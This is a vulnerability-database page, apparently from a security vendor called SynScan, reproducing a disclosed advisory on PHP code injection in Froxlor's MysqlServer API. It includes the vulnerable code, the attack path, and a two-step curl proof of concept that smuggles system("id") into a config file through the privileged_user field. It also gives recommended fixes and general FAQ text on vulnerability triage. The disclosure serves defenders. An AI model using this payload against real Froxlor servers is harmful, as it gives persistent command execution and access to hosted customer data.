How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

355,754

Total vulnerabilities in the database

Froxlor has a PHP Code Injection via Unescaped Single Quotes in userdata.inc.php Generation (MysqlServer API) — froxlor / froxlor

Improper Control of Generation of Code ('Code Injection')

Summary

PhpHelper::parseArrayToString() writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with change_serversettings permission adds or updates a MySQL server via the API, the privileged_user parameter (which has no input validation) is written unescaped into lib/userdata.inc.php. Since this file is required on every request via Database::getDB(), an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load.

Details

The root cause is in PhpHelper::parseArrayToString() at lib/Froxlor/PhpHelper.php:486:

// lib/Froxlor/PhpHelper.php:475-487
foreach ($array as $key =&gt; $value) {
    if (!is_array($value)) {
        if (is_bool($value)) {
            $str .= self::tabPrefix($depth, sprintf(&quot;&#039;%s&#039; =&gt; %s,\n&quot;, $key, $value ? &#039;true&#039; : &#039;false&#039;));
        } elseif (is_int($value)) {
            $str .= self::tabPrefix($depth, &quot;&#039;{$key}&#039; =&gt; $value,\n&quot;);
        } else {
            if ($key == &#039;password&#039;) {
                // special case for passwords (nowdoc)
                $str .= self::tabPrefix($depth, &quot;&#039;{$key}&#039; =&gt; &lt;&lt;&lt;&#039;EOT&#039;\n{$value}\nEOT,\n&quot;);
            } else {
                // VULNERABLE: $value interpolated without escaping single quotes
                $str .= self::tabPrefix($depth, &quot;&#039;{$key}&#039; =&gt; &#039;{$value}&#039;,\n&quot;);
            }
        }
    }
}

Note that the password key receives special treatment via nowdoc syntax (line 484), which is safe because nowdoc does not interpret any escape sequences or variable interpolation. However, all other string keys — including user, caption, and caFile — are written directly into single-quoted PHP string literals with no escaping.

The attack path through MysqlServer::add() (lib/Froxlor/Api/Commands/MysqlServer.php:80):

validateAccess() (line 82) checks the caller is an admin with change_serversettings
privileged_user is read via getParam() at line 88 with no validation applied
mysql_ca is also read with no validation at line 86
The values are placed into the $sql_root array at lines 150-160
generateNewUserData() is called at line 162, which calls PhpHelper::parseArrayToPhpFile() → parseArrayToString()
The result is written to lib/userdata.inc.php via file_put_contents() (line 548)
Setting test_connection=0 (line 92, 110) skips the PDO connection test, so no valid MySQL credentials are needed

The generated userdata.inc.php is loaded on every request via Database::getDB() at lib/Froxlor/Database/Database.php:431:

require Froxlor::getInstallDir() . &quot;/lib/userdata.inc.php&quot;;

The MysqlServer::update() method (line 337) has the identical vulnerability with privileged_user at line 387.

PoC

Step 1: Inject PHP code via MysqlServer.add API

curl -s -X POST https://froxlor.example/api.php \
  -u &#039;ADMIN_APIKEY:ADMIN_APISECRET&#039; \
  -H &#039;Content-Type: application/json&#039; \
  -d &#039;{
    &quot;command&quot;: &quot;MysqlServer.add&quot;,
    &quot;params&quot;: {
      &quot;mysql_host&quot;: &quot;127.0.0.1&quot;,
      &quot;mysql_port&quot;: 3306,
      &quot;privileged_user&quot;: &quot;x&#039;\&#039;&#039;.system(\&quot;id\&quot;).&#039;\&#039;&#039;&quot;,
      &quot;privileged_password&quot;: &quot;anything&quot;,
      &quot;description&quot;: &quot;test&quot;,
      &quot;test_connection&quot;: 0
    }
  }&#039;

This writes the following into lib/userdata.inc.php:

&#039;user&#039; =&gt; &#039;x&#039;.system(&quot;id&quot;).&#039;&#039;,

Step 2: Trigger code execution

Any subsequent HTTP request to the Froxlor panel triggers Database::getDB(), which requires userdata.inc.php, executing system("id") as the web server user:

curl -s https://froxlor.example/

The id output will appear in the response (or can be captured via out-of-band methods for blind execution).

Step 3: Cleanup (attacker would also clean up)

The injected code runs on every request until userdata.inc.php is regenerated or manually fixed.

Impact

An admin with change_serversettings permission can escalate to arbitrary OS command execution as the web server user. This represents a scope change from the Froxlor application boundary to the underlying operating system:

Full server compromise: Execute arbitrary commands as the web server user (typically www-data)
Data exfiltration: Read all hosted customer data, databases credentials, TLS private keys
Lateral movement: Access all MySQL databases using credentials stored in userdata.inc.php
Persistent backdoor: The injected code executes on every request, providing persistent access
Denial of service: Malformed PHP in userdata.inc.php can break the entire panel

The description field (validated with REGEX_DESC_TEXT = /^[^\0\r\n<>]*$/) and mysql_ca field (no validation) are also injectable vectors through the same code path.

Recommended Fix

Escape single quotes in PhpHelper::parseArrayToString() before interpolating values into single-quoted PHP string literals. In single-quoted PHP strings, only \' and \\ are interpreted, so both must be escaped:

// lib/Froxlor/PhpHelper.php:486
// Before (vulnerable):
$str .= self::tabPrefix($depth, &quot;&#039;{$key}&#039; =&gt; &#039;{$value}&#039;,\n&quot;);

// After (fixed) - escape backslashes first, then single quotes:
$escaped = str_replace([&#039;\\&#039;, &quot;&#039;&quot;], [&#039;\\\\&#039;, &quot;\\&#039;&quot;], $value);
$str .= self::tabPrefix($depth, &quot;&#039;{$key}&#039; =&gt; &#039;{$escaped}&#039;,\n&quot;);

Alternatively, use the same nowdoc syntax already used for passwords for all string values, which provides complete injection safety:

// Apply nowdoc to all string values, not just passwords:
$str .= self::tabPrefix($depth, &quot;&#039;{$key}&#039; =&gt; &lt;&lt;&lt;&#039;EOT&#039;\n{$value}\nEOT,\n&quot;);

Additionally, consider adding input validation to privileged_user and mysql_ca in MysqlServer::add() and MysqlServer::update() as defense-in-depth.

Published: Apr 16, 2026
Updated: Apr 16, 2026
GHSA: GHSA-gc9w-cc93-rjv8
Severity: Critical
Exploit:
CISA KEV:

CVSS v3:

Severity: Unknown
Score:
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CWEs:

CWE-94

Affected Software
References

Software	From	Fixed in
froxlor / froxlor	-	2.3.6

https://github.com/froxlor/froxlor/security/advisories/GHSA-gc9w-cc93-rjv8

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.